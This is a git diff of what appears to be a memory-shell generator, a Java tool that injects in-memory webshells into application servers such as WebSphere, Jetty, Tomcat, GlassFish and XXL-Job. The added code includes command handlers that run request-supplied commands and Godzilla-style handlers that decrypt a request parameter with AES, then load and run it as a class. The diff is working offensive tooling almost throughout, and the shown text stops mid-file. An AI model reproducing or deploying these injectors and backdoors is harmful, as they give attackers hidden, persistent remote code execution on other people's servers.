wsThreadLocal; // for websphere 7.x - if (obj != null && obj.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); - context = getFieldValue(getFieldValue(config, "context"), "context"); - contexts.add(context); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); } catch (Exception ignored) { } } - } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { - context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); - contexts.add(context); + } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; + contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index 366088bd..f30c40e0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -6,9 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Properties; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -17,7 +15,8 @@ */ public class WebSphereServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,16 +30,21 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } public WebSphereServletInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -49,6 +53,7 @@ public WebSphereServletInjector() { } } } + ok = true; System.out.println(msg); } @@ -69,27 +74,22 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); - Object context; - Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); - Object[] wsThreadLocals = (Object[]) obj; + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { - obj = wsThreadLocal; // for websphere 7.x - if (obj != null && obj.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); - context = getFieldValue(getFieldValue(config, "context"), "context"); - contexts.add(context); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); } catch (Exception ignored) { } } - } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { - context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); - contexts.add(context); + } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; + contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java index 7d13f697..b5315eca 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java @@ -27,7 +27,8 @@ * @since 2025/1/21 */ public class XxlJobNettyHandlerInjector extends ChannelInitializer { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -38,12 +39,16 @@ public String getBase64String() throws IOException { } public XxlJobNettyHandlerInjector() { + if (ok) { + return; + } try { inject(); msg += "[/*] ready\n"; } catch (Throwable e) { msg += "failed " + getErrorMessage(e) + "\n"; } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java index 43ced34b..8b77635e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.server; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; @@ -49,6 +50,9 @@ public Set getSupportedShellTools() { } public Pair, Class> getShellInjectorPair(String shellTool, String shellType) { + if (StringUtils.isBlank(shellTool)) { + throw new IllegalArgumentException("shellTool is required"); + } ToolMapping mapping = map.get(shellTool); if (mapping == null) { throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java index 1fa4456f..de755b5d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; @@ -43,12 +43,12 @@ public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) - .addInjector(FILTER, GlassFishFilterInjector.class) - .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) + .addInjector(FILTER, TomcatFilterInjector.class) + .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java index edd7cd6f..1e421e1d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -28,8 +28,8 @@ public InjectorMapping getShellInjectorMapping() { .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java index 5d30790e..e2aacc9d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java @@ -1,11 +1,7 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector; +import com.reajason.javaweb.memshell.injector.tomcat.*; import static com.reajason.javaweb.memshell.ShellType.*; @@ -27,8 +23,8 @@ public InjectorMapping getShellInjectorMapping() { .addInjector(FILTER, TomcatFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(PROXY_VALVE, TomcatProxyValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java index 11e5543c..658866cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector; +import com.reajason.javaweb.memshell.injector.jetty.*; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; @@ -45,6 +42,9 @@ public InjectorMapping getShellInjectorMapping() { .addInjector(JAKARTA_FILTER, JettyFilterInjector.class) .addInjector(SERVLET, JettyServletInjector.class) .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) + .addInjector(HANDLER, JettyHandlerInjector.class) + .addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class) + .addInjector(CUSTOMIZER, JettyCustomizerInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java index 61fe6da9..766c2845 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java @@ -46,6 +46,7 @@ public InjectorMapping getShellInjectorMapping() { .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) + .addInjector(UPGRADE, TomcatUpgradeInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java new file mode 100644 index 00000000..5037f4e8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import java.io.InputStream; +import java.io.OutputStream; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/5/15 + */ +public class CommandJettyAgentHandler { + private static String paramName; + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java new file mode 100644 index 00000000..8595f9c1 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.Request; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Method; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public class CommandJettyCustomizer implements HttpConfiguration.Customizer { + private static String paramName; + + public CommandJettyCustomizer() { + } + + // jetty9+ + public void customize(Connector connector, HttpConfiguration channelConfig, Request request) { + try { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); + Object response = invokeMethod(request, "getResponse"); + InputStream inputStream = getInputStream(param); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java index 9b78a261..78beb225 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -1,37 +1,35 @@ package com.reajason.javaweb.memshell.shelltool.command; +import org.eclipse.jetty.server.Handler; +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; +import org.eclipse.jetty.util.Callback; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; +import java.util.Scanner; + +import static java.nio.charset.StandardCharsets.UTF_8; /** * @author ReaJason - * @since 2025/5/15 + * @since 2025/11/29 */ public class CommandJettyHandler { private static String paramName; + private Handler nextHandler; - @Override - public boolean equals(Object obj) { - Object[] args = ((Object[]) obj); - Object baseRequest = null; - Object request = null; - Object response = null; - if (args.length == 4) { - Object arg4 = args[3]; - baseRequest = args[1]; - if (arg4 instanceof Integer) { - // jetty6 - request = args[1]; - response = args[2]; - } else { - request = args[2]; - response = args[3]; - } - } else { - // ee10 - request = args[0]; - response = args[1]; - } + public CommandJettyHandler() { + } + + public boolean handle(Object request, Object response) { try { String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); if (p == null || p.isEmpty()) { @@ -41,14 +39,7 @@ public boolean equals(Object obj) { String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - if (baseRequest != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - } + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); return true; } } catch (Throwable e) { @@ -57,6 +48,51 @@ public boolean equals(Object obj) { return false; } + // jetty12 + public boolean handle(Request request, Response response, Callback callback) throws Exception { + try { + Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8); + String p = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{paramName}); + if (p == null || p.isEmpty()) { + Object headers = invokeMethod(request, "getHeaders"); + p = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{paramName}); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + ByteBuffer content = UTF_8.encode(new Scanner(inputStream).useDelimiter("\\A").next()); + invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); + invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return nextHandler.handle(request, response, callback); + } + + // jetty6 + public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, request, response, dispatch); + } + } + + // jetty7+ + public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, baseRequest, request, response); + } + } + private String getParam(String param) { return param; } @@ -64,4 +100,35 @@ private String getParam(String param) { private InputStream getInputStream(String param) throws Exception { return null; } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java new file mode 100644 index 00000000..5632405c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java @@ -0,0 +1,94 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import org.apache.catalina.connector.Response; +import org.apache.coyote.Adapter; +import org.apache.coyote.Processor; +import org.apache.coyote.Request; +import org.apache.coyote.UpgradeProtocol; +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.net.SocketWrapperBase; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class CommandUpgrade implements UpgradeProtocol { + public static String paramName; + + @Override + public boolean accept(Request req) { + org.apache.catalina.connector.Request request = ((org.apache.catalina.connector.Request) req.getNote(1)); + Response response = request.getResponse(); + try { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + inputStream.close(); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return true; + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @Override + public String getHttpUpgradeName(boolean isSSLEnabled) { + return ""; + } + + @Override + public byte[] getAlpnIdentifier() { + return new byte[0]; + } + + @Override + public String getAlpnName() { + return ""; + } + + @Override + public Processor getProcessor(SocketWrapperBase socketWrapper, Adapter adapter) { + return null; + } + + @Override + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java new file mode 100644 index 00000000..14e78112 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; + +/** + * @author ReaJason + */ +public class GodzillaJettyAgentHandler extends ClassLoader { + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; + + public GodzillaJettyAgentHandler() { + } + + public GodzillaJettyAgentHandler(ClassLoader z) { + super(z); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaJettyAgentHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + try { + Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + public byte[] x(byte[] s, boolean m) throws Exception { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java new file mode 100644 index 00000000..16ca3b21 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java @@ -0,0 +1,142 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.Request; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfiguration.Customizer { + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; + + public GodzillaJettyCustomizer() { + } + + protected GodzillaJettyCustomizer(ClassLoader parent) { + super(parent); + } + + // jetty9+ + public void customize(Connector connector, HttpConfiguration channelConfig, Request request) { + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + Object response = invokeMethod(request, "getResponse"); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaJettyCustomizer(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + 